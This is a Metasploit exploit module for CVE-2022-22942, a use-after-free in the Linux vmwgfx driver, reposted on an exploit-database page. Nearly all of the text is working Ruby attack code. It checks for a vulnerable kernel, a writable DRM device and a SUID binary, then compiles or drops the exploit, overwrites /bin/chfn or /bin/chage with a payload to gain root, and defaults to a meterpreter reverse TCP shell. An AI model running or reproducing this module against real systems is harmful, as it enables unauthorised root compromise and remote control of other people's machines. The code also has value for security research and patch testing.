vmwgfx Driver File Descriptor Handling Privilege Escalation

2023.02.01
Credit: h00die
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc', 'Description' => %q{ If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to recover by deallocating the (already populated) file descriptor. This is wrong, as the fd gets released via put_unused_fd() which shouldn't be used, as the fd table slot was already populated via the previous call to fd_install(). This leaves userland with a valid fd table entry pointing to a free'd 'file' object. We use this bug to overwrite a SUID binary with our payload and gain root. Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable. Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Mathias Krause' # original PoC, analysis ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ], [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ], [ 'CVE', '2022-22942' ] ], 'DisclosureDate' => '2022-01-28', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true }, 'Notes' => { 'Stability' => [CRASH_OS_DOWN], 'Reliability' => [REPEATABLE_SESSION], # seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def check # Check the kernel version to see if its in a vulnerable range release = kernel_release unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') && Rex::Version.new(release) < Rex::Version.new('5.17-rc1') return CheckCode::Safe("Kernel version #{release} is not vulnerable") end vprint_good "Kernel version #{release} appears to be vulnerable" @driver = nil if writable?('/dev/dri/card0') # ubuntu, RHEL @driver = '/dev/dri/card0' elsif writable?('/dev/dri/renderD128') # debian @driver = '/dev/dri/renderD128' else return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128') end vprint_good("#{@driver} found writable") @suid_target = nil if setuid?('/bin/chfn') # ubuntu @suid_target = '/bin/chfn' elsif writable?('/bin/chage') # RHEL/Centos @suid_target = '/bin/chage' else return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable') end vprint_good("#{@suid_target} suid binary found") if kernel_modules&.include?('vmwgfx') return CheckCode::Appears('vmwgfx installed') end CheckCode::Safe('Vulnerable driver (vmwgfx) not found') end def exploit # Check if we're already root if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end # Make sure we can write our exploit and payload to the local system unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # backup the suid binary before we overwrite it @suid_backup = read_file(@suid_target) path = store_loot( @suid_target, 'application/octet-stream', rhost, @suid_backup, @suid_target ) print_good("Original #{@suid_target} backed up to #{path}") executable_name = ".#{rand_text_alphanumeric(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c') c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload upload_and_compile executable_path, strip_comments(c_code) register_files_for_cleanup(executable_path) else unless @suid_target == '/bin/chfn' fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems') end vprint_status 'Dropping pre-compiled exploit on system...' payload_path = '/tmp/.aYd3GAMlK' upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled') end # Upload payload executable print_status("Uploading payload to #{payload_path}") upload_and_chmodx payload_path, generate_payload_exe register_files_for_cleanup(generate_payload_exe) print_status 'Launching exploit...' output = cmd_exec executable_path, nil, 30 output.each_line { |line| vprint_status line.chomp } end def cleanup if @suid_backup.nil? print_bad("MANUAL replacement of trojaned #{@suid_target} is required.") else print_status("Replacing trojaned #{@suid_target} with original") write_file(@suid_target, @suid_backup) end super end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top